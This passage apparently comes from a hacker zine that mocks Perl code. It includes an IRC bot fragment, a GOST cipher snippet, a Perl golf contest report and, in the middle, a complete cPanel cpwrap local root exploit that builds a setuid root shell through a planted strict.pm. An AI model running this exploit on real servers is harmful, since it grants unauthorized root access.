    (.*?)<\/b>/) { $hh3 = $1; $hh3 =~ s/://; $hh3 =~ s//?/; $hh3 =~ s/\n//; $hh3 =~ s/QUIT//; $hh3 =~ s/quit//; if($hh3 =~ m/ /) { $hh3 = "?????"; } if($hh2 =~ m/\n/) { $hh3 = "?????"; } if($hh2 =~ m/:/) { $hh3 = "?????"; } print $con "privmsg $xnick :md5decrypt.com : $hh3\n"; } } } } #generate an md5 hash.. if($answer =~ m/\!md5gen/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @strpart = split(" ",$xtext); $str = $strpart[1]; # Doesn't all of this look so FUCKING FAMILIAR $md5hash = md5_hex($str); print $con "privmsg $xchannel :String : $str\n"; print $con "privmsg $xchannel :Result : $md5hash\n"; } } if($answer =~ m/\!quote/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $ran = int(rand(44)); switch($ran){ # How about all of these go into an array, and then instead of this switch statement, # you do something like this: # print $con $lamejokes[int rand 44]; # Or would that be too outside-the-box for your stupid, moronic mind? case 0 { print $con "privmsg $xchannel : I do not fear computers. I fear the lack of them. - Isaac Asimov -\n"} case 1 { print $con "privmsg $xchannel : Computer science is no more about computers than astronomy is about telescopes. - Edsger Dijkstra -\n"} case 2 { print $con "privmsg $xchannel : The computer is a moron. - Peter Drucker -\n"} case 3 { print $con "privmsg $xchannel : Computers are so badly designed! - Brian Eno -\n"} case 4 { print $con "privmsg $xchannel : Computers are magnificent tools for the realization of our dreams, but no machine can replace the human spark of spirit, compassion, love, and understanding. - Louis Gerstner -\n"} case 5 { print $con "privmsg $xchannel : The real danger is not that computers will begin to think like men, but that men will begin to think like computers. - Sydney J. Harris -\n"} case 6 { print $con "privmsg $xchannel : Supercomputers will achieve one human brain capacity by 2010, and personal computers will do so by about 2020. - Ray Kurzweil -\n"} case 7 { print $con "privmsg $xchannel : Home computers are being called upon to perform many new functions, including the consumption of homework formerly eaten by the dog. - Doug Larson -\n"} case 8 { print $con "privmsg $xchannel : What do we want our kids to do? Sweep up around Japanese computers? - Walter F. Mondale -\n"} case 9 { print $con "privmsg $xchannel : Computing is not about computers any more. It is about living. - Nicholas Negroponte -\n"} case 10 { print $con "privmsg $xchannel : The good news about computers is that they do what you tell them to do. The bad news is that they do what you tell them to do. - Ted Nelson -\n"} case 11 { print $con "privmsg $xchannel : To err is human - and to blame it on a computer is even more so. - Robert Orben -\n"} case 12 { print $con "privmsg $xchannel : People think computers will keep them from making mistakes. They're wrong. With computers you make mistakes faster. - Adam Osborne -\n"} case 13 { print $con "privmsg $xchannel : They have computers, and they may have other weapons of mass destruction. - Janet Reno -\n"} case 14 { print $con "privmsg $xchannel : Computers are useless. They can only give you answers. - Pablo Picasso -\n"} case 15 { print $con "privmsg $xchannel : Computers make it easier to do a lot of things, but most of the things they make it easier to do don't need to be done. - Andy Rooney -\n"} case 16 { print $con "privmsg $xchannel : Think? Why think! We have computers to do that for us. - Jean Rostand -\n"} case 17 { print $con "privmsg $xchannel : Treat your password like your toothbrush. Don't let anybody else use it, and get a new one every six months. - Clifford Stoll -\n"} case 18 { print $con "privmsg $xchannel : Users, collective term for those who use computers. Users are divided into three types: novice, intermediate and expert.Novice Users: people who are afraid that simply pressing a key might break their computer. Intermediate Users: people who don't know how to fix their computer after they've just pressed a key that broke it. Expert Users: people who break other people's computers. - From the Jargon File. -\n"} case 19 { print $con "privmsg $xchannel : Artificial intelligence ? No thank you, I don't need crutches. - Szylowicz (my former assembler teacher) -\n"} case 20 { print $con "privmsg $xchannel : Science is supposedly the method by which we stand on the shoulders of those who came before us. In computer science, we all are standing on each others feet. - G. Popek. -\n"} case 21 { print $con "privmsg $xchannel : Press CTRL-ALT-DEL now for an IQ test. - At the time of Win95/98/ME -\n"} case 22 { print $con "privmsg $xchannel : Artificial Intelligence usually beats natural stupidity.\n"} case 23 { print $con "privmsg $xchannel : This manual says what our product actually does, no matter what the salesman may have told you it does. - In a californian graphic board manual, 1985. -\n"} case 24 { print $con "privmsg $xchannel : I sit looking at this damn computer screen all day long, day in and day out, week after week, and think: Man, if I could just find the 'on' switch... - Zachary Good -\n"} case 25 { print $con "privmsg $xchannel : Build a system that even a fool can use, and only a fool will want to use it\n"} case 26 { print $con "privmsg $xchannel : Making fun of AOL users is like making fun of the kid in the wheel chair.\n"} case 27 { print $con "privmsg $xchannel : Dude, I hate to be the bearer of bad news, but I'm afraid you've been hacked — the FTP server at 127.0.0.1 has all your personal files. See for yourself; just log in with your normal id.... - Classic joke on new Unix users. -\n"} case 28 { print $con "privmsg $xchannel : Relax, its only ONES and ZEROS !\n"} case 29 { print $con "privmsg $xchannel : I have NOT lost my mind — I have it backed up on tape somewhere.\n"} case 30 { print $con "privmsg $xchannel : INSERT DISK THREE' ? But I can only get two in the drive !\n"} case 31 { print $con "privmsg $xchannel : Daddy, why doesn't this magnet pick up this floppy disk ?\n"} case 32 { print $con "privmsg $xchannel : Daddy, what does FORMATTING DRIVE C mean ?\n"} case 33 { print $con "privmsg $xchannel : See daddy ? All the keys are in alphabetical order now.\n"} case 34 { print $con "privmsg $xchannel : Q- What is the difference between a computer and a woman ? A- A woman won't accept a 3 and 1/2-inch floppy !\n"} case 35 { print $con "privmsg $xchannel : When I was a teenager, Mom said I'd go blind if I didn't quit doing *that*. Maybe she was right — since the invention of internet porn, computer monitors keep getting bigger and bigger. ! - Bill Ervin. -\n"} case 36 { print $con "privmsg $xchannel : Smash forehead on keyboard to continue...\n"} case 37 { print $con "privmsg $xchannel : Where a calculator on the ENIAC is equipped with 18 000 vacuum tubes and weighs 30 tons, computers of the future may have only 1 000 vacuum tubes and perhaps weigh 1½ tons. - Popular Mechanics, March 1949. -\n"} case 38 { print $con "privmsg $xchannel : But what... is it good for ? - An engineer at the Advanced Computing Systems Division of IBM, commenting on the microchip in 1968. -\n"} case 39 { print $con "privmsg $xchannel : There is no reason anyone would want a computer in their home. - Ken Olson, president/founder of Digital Equipment Corp., 1977. -\n"} case 40 { print $con "privmsg $xchannel : There's no problem so large it can't be solved by killing the user off, deleting their files, closing their account and reporting their REAL earnings to the IRS. - The B.O.F.H.. - \n"} case 41 { print $con "privmsg $xchannel : In the future, airplanes will be flown by a dog and a pilot. And the dog's job will be to make sure that if the pilot tries to touch any of the buttons, the dog bites him. - Scott Adams (author of Dilbert). -\n"} case 42 { print $con "privmsg $xchannel : go shave ya mommy XD - Dj_Asim - milw0rm forums 2006 - http://forum.milw0rm.com/viewtopic.php?t=1595\n"} else{ print $ran} } } } if($answer =~ m/\morning/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; print $con "privmsg $xchannel :good morning sir..\n"; } } if($answer =~ m/\!changenick/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @strpart = split(" ",$xtext); $p = $strpart[1]; $encpw = md5_hex($p); if($encpw == $pass) { my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto greenarrow greenlantern grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker julius kal-el kalel linus liz lucy lyman marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown wolverine wolveroach woodstock xmen ziggy zippy zonker /; my $draw = @array[rand @array]; # see, that's much better. But it still should be more like: # my $draw = $array[rand scalar @array]; print $con "NICK $draw\r\n"; # Or just: print $con "NICK $array[rand scalar @array]\r\n"; # You wouldn't believe the parser magic that goes into making that work } } } #give sexual pleassure # Please, don't, keep your "pleassure" to yourself if($answer =~ m/\!inject/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $ran = int(rand(12)); switch($ran){ case 0 { print $con "privmsg $xchannel : injected $xnick with an MS keyboard.....\n"} case 1 { print $con "privmsg $xchannel : injected $xnick with http://img91.imageshack.us/img91/2033/03zd9.jpg\n"} case 2 { print $con "privmsg $xchannel : injected $xnick with http://img135.imageshack.us/img135/6393/02ms6.jpg\n"} case 3 { print $con "privmsg $xchannel : injected $xnick with a NASA space-shuttle.....\n"} case 4 { print $con "privmsg $xchannel : injected $xnick with http://img91.imageshack.us/img91/6918/lewllq5.jpg\n"} case 5 { print $con "privmsg $xchannel : injected $xnick with a toothbrush.....\n"} case 6 { print $con "privmsg $xchannel : injected $xnick with a pen.....\n"} case 7 { print $con "privmsg $xchannel : injected $xnick with http://www.servut.us/ssakari/kuvat/two_girls_kissing.jpg\n"} case 8 { print $con "privmsg $xchannel : injected $xnick with http://la.gg/upl/6541c6b7.gif\n"} case 9 { print $con "privmsg $xchannel : injected $xnick with a chair.....\n"} case 10 { print $con "privmsg $xchannel : injected $xnick with a midget.....\n"} case 11 { print $con "privmsg $xchannel : injected $xnick with a spoon.....\n"} case 12 { print $con "privmsg $xchannel : injected $xnick with a fork.....\n"} else{ print $ran} } # Yea, basically the same crap as anywhere else } } #get proxies from nntime.com if($answer =~ m/\!proxy/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $getproxy = IO::Socket::INET->new(PeerAddr=>'66.29.36.40',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $getproxy "GET /index.php HTTP/1.0\n"; print $getproxy "Host: www.nntime.com\n\n"; while($proxy = <$getproxy>) { $proxy =~ m/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9 ]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):([0-9][0-9][0-9][0-9])/ && print $con "privmsg $xnick :$1.$2.$3.$4:$5\n"; # Well well. Isn't that a, uh, "interesting" regex } } } #auto rejoin after kick if($answer =~ m/KICK $chan/) { my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto greenarrow greenlantern grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker julius kal-el kalel linus liz lucy lyman marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown wolverine wolveroach woodstock xmen ziggy zippy zonker /; # Almost makes me wonder why you had to redefine this massive list my $draw = @array[rand @array]; print $con "NICK $draw\r\n"; print $con "JOIN $chan\r\n"; } # Let's let the rest of this explain itself. # Let is settle in your mouth, like some cheap Eastern wine # Swish it around, and spit it out #get advisory news from secunia.com if($answer =~ m/\!advisories/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $getadv = IO::Socket::INET->new(PeerAddr=>'213.150.41.226',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $getadv "GET /information_partner/anonymous/o.rss HTTP/1.0\n"; print $getadv "Host: secunia.com\n\n"; while($adv = <$getadv>) { $adv =~ m/CDATA(.*?)><\/title>/ && print $con "privmsg $xnick :$1$2$3\n"; $adv =~ m/(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n"; } } } #securitynews from addict3d.org if($answer =~ m/\!securitynews/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $gen = IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $getsecn "GET /backend_security.php HTTP/1.0\n"; print $getsecn "Host: addict3d.org\n\n"; while($secn = <$getsecn>) { $secn =~ m/(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n"; $secn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n"; } } } if($answer =~ m/\!technews/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $gettechn = IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $gettechn "GET /backend_news.php HTTP/1.0\n"; print $gettechn "Host: addict3d.org\n\n"; while($techn = <$gettechn>) { $techn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n"; $techn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n"; } } } #get exploit news from milw0rm.com if($answer =~ m/\!exploits/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; $getexp = IO::Socket::INET->new(PeerAddr=>'213.150.45.196',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $getexp "GET /rss.php HTTP/1.0\n"; print $getexp "Host: www.milw0rm.com\n\n"; while($exp = <$getexp>) { $exp =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n"; $exp =~ m/<guid>(.*?)<\/guid>/ && print $con "privmsg $xnick :$1$2$3\n"; } } } #answer to ping requests if($answer =~ m/^PING (.*?)$/gi) { print $con "PONG ".$1."\n"; } print $answer; } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 1707 2007-02-26 18:19 school/vipul.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Author: Vipul Ved Prakash. Contact: mail@vipul.net The Perl Code #!/usr/bin/perl -s sub R{int$_[0]|| return vec$_[1],$_[2]/4,32;int$_[0]*rand}($R) =$^=~'([\]-\`])';sub F{$u=0;grep$u|=$S->[$_][$_[0]>> $_*4&15]<<$_*4,reverse 0..7;$u<<11|$u>>21}$t=$e ||$d?join'',<>:(($p,$d)=($R,1),unpack u ,"(3=MCV7%2W'<`");@b=@t=0..15;for( ;$i<length$p;$i+=4){srand($s^=R$R,$p ,$i)}while($ci<8){grep{push@b ,splice @b,R(9),5}@t;$R[$c]=R(2 **32);@{ $S->[$c++]}=@b}@h=0..7;@o =reverse @h;while($a<length $t){$v=R$R,$t,$a; $w=R$R,$t,($a+=8)-4; grep$q++%2?$v ^=F$w+$R [$$R]:( $w^=F$v+$R[$$R]),$d?(@h,(@o) x3):(( @h)x3,@o);$_.=pack N2,$w,$v} print What It Does The code is a diminutive implementation of the KGB block cipher, GOST, in Simple Substitution Mode as described in the Soviet Standard (GOST 28147-89). An English translation by Josef Pieprzyk and Leonid Tombak is available from ftp://vipul.net/pub/gost/specs.ps.gz. (You don't really want to read this, a functional description of the algorithm is included in this file.) Besides implementing the encryption algorithm, the code also also computes the key-store-unit and s-box permutations as a function of the pass-phrase. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 1571 2007-02-26 18:19 laugh/cpanel.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> Hey Dad, know why you didn't see me all morning?? I was two-dimensional! <Dad> Hmmm, I'll bet you can't do it all afternoon, too... <Mom> Dear! #!/usr/bin/perl -w # use warnings, not -w preferably # 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin # use strict; # haha oh wait.. my $cpwrap = "/usr/local/cpanel/bin/cpwrap"; my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap"; my $pwd = `pwd`; # Cwd is core chomp $pwd; # chomp ( my $pwd = getcwd ); $ENV{'PERL5LIB'} = "$pwd"; # Quotes suck. if ( ! -x "/usr/bin/gcc" ) { die "gcc: $!\n"; } if ( ! -x "$cpwrap" ) { die "$cpwrap: $!\n"; } if ( ! -x "$mysqlwrap" ) { die "$mysqlwrap: $!\n"; } # -x $cpwrap or die "$cpwrap: $!\n"; open (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n"; # I like how you check, and use or, however, # you should use a modern three part open statement, and preferably lexical variables while(<CPWRAP>) { if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; } } close (CPWRAP); # yucky open (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n"; print STRICT "\$e = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n"; print STRICT "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n"; print STRICT "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n"; print STRICT "system(\"/bin/chmod 4755 Maildir\");\n"; print STRICT "system(\"/bin/rm -f Maildir.c strict.pm\");\n"; close (STRICT); # Listen. If you use single quotes, you don't have to escape all of that. system("$mysqlwrap DUMPMYSQL 2>/dev/null"); if ( -e "Maildir" ) { system("./Maildir"); } else { unlink "strict.pm"; die "Failed\n"; } # Not bad, not too bad. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 17138 2007-02-26 18:19 school/regex.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dueling Flamingos: The Story of the Fonality Christmas Golf Challenge by eyepopslikeamosquito Any problem in computer science can be solved with another layer of indirection. -- David Wheeler Whee, $$$_=$_ -- Juho Snellman celebrates finding that extra layer during the Fonality Golf Challenge Perl Golf is a hard and cruel game. In this report on the recent Christmas 2006 Fonality Golf Challenge, I hope to not only lay bare the secrets of the golfing masters but also tell some personal stories of triumph and despair that occurred during this fascinating competition. The Problem You must read a line of roman numerals from the standard input, for example: II plus III minus I and write the result to the standard output: IV for this example. Fonality provided a more detailed and precise problem statement. A Simple Solution Here's a simple solution to the problem: #!perl -lp map{$_.=(!y/IVXLC/XLCDM/,I,II,III,IV,V,VI,VII,VIII,IX)[$&]while s/\d// +;$$_=$n++}@R=0..3999; y/mp/-+/;s/\w+/${$&}/g;$_=$R[eval] This easy to understand solution hopefully makes clear some of the important strategic ideas used by the top golfers, namely: Rather than attempting to calculate a running total, $_ is transformed in place. For example, II plus III is transformed into 2 + 3. With that done, eval is employed to compute the total. You don't need to write two converters: it is sufficient to write an arabic_to_roman() converter. To convert the other way, simply convert 1..3999 into a table or something and do a lookup. It turns out that symbolic references are crucial in this game because they are shorter than other lookup techniques, such as hashes. In the simple solution above, a symbolic reference is created for each roman numeral whose value is the corresponding arabic number. HART: The Hospelian Arabic to Roman Transform During a Polish Golf Tournament played in March 2004, Ton Hospel rocked the Polish golf community by unleashing his miraculous magical formula to convert an arabic number to a roman numeral. I've decided to honour this magic formula with a name: HART (Hospelian Arabic to Roman Transform). This name was inspired by the ST (Schwartzian Transform) and the GRT (Advanced Sorting - GRT - Guttman Rosler Transform). If you can think of a better name, please respond away. :-) As you might expect, Ton's Polish hosts were astonished by his ingenuity, Grizzley remarking: You should see some of Golfers after reading your explanation... eyes big like cups of tea, heart attacks, etc. Curiously, though he competed in this historic original Polish roman game, Grizzley did not employ HART himself in the Fonality challenge, preferring his own clever (and quite short) algorithm that was only seven strokes longer. Converting plus and minus This was an interesting little sub-problem featuring the versatile tr/// (aka y///) operator. If your goal is to transform, for example, II plus III, into 2 + 3, you might dispatch the plus and minus with y/mpislun/-+/d. Of course, if you cared more about jokes than strokes, you'd rearrange the letters to form y/linus.pm/ +-/ instead. :-) Which can be easily shortened, using character ranges, to y/mpa-z/-+/d. What next? Well, if you are later using something like s/\w+/${$&}/g to convert roman numerals to arabic numbers via symbolic references, a serendipitous side effect of that s/// expression is that the lower case letters remaining in plus and minus will be eliminated! You can therefore shorten to simply y/mp/-+/. As a final flourish, you can shave one further stroke by employing y/m/-/ in harness with s/\w+/+${$&}/g. Rather than converting, for example, II plus III, into 2 + 3, the leading golfers transformed it into $II +$ III instead. If you're doing that, you can employ y/isl-z/-$+/d to transform the plus and minus, and s''$' to prepend the leading $. An interesting alternative, attempted early in the game by Ton, is to eschew the beloved y/// operator in favour of s///, namely s'^| '+$'g and s/nus/-/g, though that turns out to be one stroke longer. Putting it All Together The strategy used by the top golfers in this competition is essentially a three step process: Convert, for example, II plus III, into $II +$ III. Build two sets of symbolic references: one mapping roman numerals to their corresponding arabic number, the other mapping (negative) numbers back to the roman numerals. Notice that you must use negative numbers because you can create a symref of -42 but not 42. The building of this second set is easily recognized by the surreal construct: $$$_=$_. Eval the expression built in step one and put the result back into $_ for printing, courtesy of the -p option. As is often the case in golf, one insight leads to another: if symbolic references proved useful for converting one way, why not try to exploit them to convert the other way also? And, in so doing, remove the need for the @R array seen in the first simple solution above. To clarify this three step process, I've prepared a commented version with the arabic to roman numeral step abstracted into a subroutine and without any arcane golfing tricks. #!perl -lp # r() converts an arabic number (1..3999 or -3999..-1) to a roman nume +ral. sub r{my$s;($s.=5x$_*8%29628)=~y$IVCXL426(-:$XLMCDIVX$dfor/./g;$s} y/iul-z/-$+/d; # Step 1: convert plus and minus to +$ +and -$ s''$'; # Step 1: prepend $ $$_=r(),$$$_=$_ for-3999..-1; # Step 2: build two sets of symbolic re +ferences $_=${+eval}; # Step 3: eval the expression Of interest here is the final line above. Remarkably, ton changed it to *_=eval, with the wry comment "More fun with globs", in only one minute twenty seconds! If Juho, who played brilliantly throughout, had found this final trick he would have tied ton for first prize. Tactical Tricks In addition to the overall strategies discussed above, tactics also play a vital role. As pointed out to me by thospel, constructing the table backwards, from 3999 down to 1, also allows you to safely place the $$$_=$_ inside the s///eg expression, since wrong entries for partial roman strings during the build get fixed later (see Ton's 99.56 solution below). It's also worth noting that counting downwards allows you to safely extend the range from 3999 to 4e3 thus avoiding the nasty edge case bugs that plagued the solutions of TedYoung, szeryf, Sec and Jasper, where the (invalid) 4e3 case tramples on a previously correct entry. Dueling Flamingos: The Battle of the Last T-Shirt Late in this game, there was a gripping duel, silently fought between two gritty characters pounding away on their keyboards in Ottawa and New York. This was the titanic Battle of the Last T-Shirt. The lead see-sawed back and forth between `/anick Champoux and Michael Wrenn right up until the final bell, with Michael emerging the exhausted victor by a single stroke. Here is what `/anick had to say after it was all over: But nevermind that blunderific overlook of the Great Thome of Golfic Knowledge. Nevermind an obscenely tumefied forehead, caused by repeated percussions against my desk during the ever-excruciating quest for the next shaved stroke. What really make me wail like a tax-audited banshee is that the referee just went through the last of the pending entries, allowing m.wrenn to sneak one stroke ahead of me and bump me off the top 20, literally yanking the prized t-shirt off my clenched fists. m.wrenn, if you are on this list, consider my fist -- yes, that same fist that you so fiendishly robbed from its prize -- shaked in barely supressed fury in your general direction. And mark my words: one day, I shall have my revenge upon thee! And here is his final 170.51: #!perl -lp040 $s=/m/ if/u/;($y=I1V5X10L50C100D500M1000IV4IX9XL40XC90CD400CM900)=~/$&/,$i=$t ++=$s^"$;">($;=$')?-$;:$;while s/.$//}{1while$y=~/(\D+)$i/&&$t>=$i?($_.=$1,$t-=$i):$i-- [download] `/anick was the only golfer imaginative enough to employ the command line switch 040 in harness with the }{ "eskimo greeting" secret operator. I'll refrain from commenting further on his creative masterwork because, frankly, I do not understand it. Here is Michael's moving response, along with his final 169.51 solution: I went out to get some dinner and returned to check on my solid 20th Place (securing a prized Fonality/trixbox T-shirt) ... when what to my wondering eyes should appear, but \'anick the Canuck who was now TWO STROKES CLEAR! I CURSEd and I SHOUTed and I called him some names| That Bastr/a//d! That foo|bird! That Flamingo again!!! I'll catch him! I'll pass him! I'll beat him this time! I'll punk him! I'll twizzle and addle his brain! To the top of the board! Past Juho and ton! Now slash away, slash away, slash away all! When I came to, I was still one stroke back and all my hair had been yanked out and deposited on the floor next to me. That \'akinc! It was after 1AM and I needed inspiration. I went into my closet and tried on all of my T-shirts ... None of them fit! I needed a NEW one! So, I had another beer (a nice Belgian one) and kept at it and just before 2AM, I saw the light! An extremely obvious 2 stroker that I had tried earlier in a slightly different form. I could feel that feeling of cotton ... #!perl -lp @@{@@=map{$_,$_.0,$_*100}4,5,9,10}=qw(IV XL CD V L D IX XC CM X C M);f +or$~(@@){s/$@{$~}/"I "x$~/ge}s/I//while s/m\w* +I/m /;$~=y/I//cd;s/I{ +$~}/$@{$~}||$&/gewhile$~-- Top Ten Countdown The top ten golfers at the close of play were: 1. 99.56 ton Netherlands 2. 102.54 Juho Snellman Finland 3. 108.53* TedYoung USA 4. 111.49 jojo France? 5. 115.52* szeryf Poland 6. 118.53 pijll Netherlands 7. 120.51* Sec Germany 8. 122.54 eyepopslikeamosquito Australia 9. 126.46* Jasper UK 10. 129.50 Util USA In writing this report I became aware that the solutions marked with an asterisk (*) above, though they passed the referee's test program, each contained a bug, failing on one or more of the following test cases: { in => "MD plus I\n", out => 'MDI' . "\n" }, { in => "MD minus I\n", out => 'MCDXCIX' . "\n" }, They can all be easily remedied by changing 4e3 to 3999, at the cost of a single stroke. Since I'm sure each of these golfers would have found this trivial fix had the referee's test program been more exhaustive, I've taken the liberty of adjusting their scores above and their solutions below. Please note that I am not the tournament referee and therefore do not have any authority to make a decision on this matter. I bring it to light here only in the interests of historical accuracy. It is interesting to note that nine of the top 10 had previously competed in the strenuous TPR tournament circuit of 2002. And the only one who hadn't, jojo, had played 12 challenges previously at codegolf. 10. Util (129.50) Util has limited previous golfing experience, having competed in two tournaments in the 2002 TPR season, finishing the season in 121st place, with winnings of $59,000. Accordingly, I expect he was well satisfied with a top ten finish. #!perl -lp $==$_,s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$_[$=].=4x$&%1859^7;5!egfor+0..3 +999;@&{@_}=0..@_;y/il-z/-+/d;s/\w+/$&{$&}/g;$_=$_[eval] Though some strokes can be whittled from this lookup hash approach -- for example, this one: #!perl -lp s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$X[$_].=4x$&%1859^7!egfor+0..3999;@Y{@ +X}=0..@X;y/m/-/;s/\w+/+$Y{$&}/g;$_=$X[eval] is 12 strokes less fat -- Util really needed to find the symbolic reference hack to join the leading pack. 9. Jasper (126.46) Jasper is a very experienced golfer, having competed in ten tournaments in the 2002 TPR season, finishing the season in 13th place, with winnings of $719,600. Jasper was the highest placed of those golfers who missed Ton's magic roman formula. #!perl -lp map{y/IVXLC/XLCDM/,s!\d!$&^4?$&^9?V x($&>3).I x($&%5):IX:IV!ewhile//;$ +$_=$n++}@d=0..3999;y/m/-/;s/\w+/+${$&}/g;$_=$d[eval] [download] What was astonishing here is that Jasper had never heard of mtve's book of golf containing Ton's magic roman formula. This is despite playing in many, many golfs over the years and being mentioned many times in the book himself. 8. eyepopslikeamosquito (122.54) eyepopslikeamosquito is an experienced golfer, having competed in eight tournaments in the 2002 TPR season, finishing the season in 17th place, with winnings of $652,400. #!perl -lp sub'_{$;=0;($;.=5x$_*8%29628)=~y$IVCXL426.-X$XLMCDIVX$dfor/./g;$;}y;mp +;-+;;s>\w+>(grep$&eq&_,1..1e4)[0]>eg;$_=_$_=eval Like Util, eyepopslikeamosquito wasn't really in the game because he failed the find the symbolic reference trick. While Util used a hash lookup, eyepopslikeamosquito tried grep in harness with a sub. 7. Sec (120.51) Sec is an experienced golfer, having competed in eight tournaments in the 2002 TPR season, finishing the season in 57th place, with winnings of $179,467. #!perl -lp @%=map{my$a;s/./y!IVCXL91-80!XLMCDXVIII!dfor$a.=4x$&%1859^7/eg;$$a=$/- +-;$a}0..3999;y/i/-/;s/\w+/${$&}/g;$_=$%[-eval] Of note here, is that Sec only spent half a day on the entire tournament. Impressive. 6. pijll (118.53) pijll is a champion golfer, having competed in ten tournaments in the 2002 TPR season, finishing the season in 3rd place, with winnings of $3,540,000. Notably, pijll has beaten ton in head-to-head matches on at least three occasions, winning the 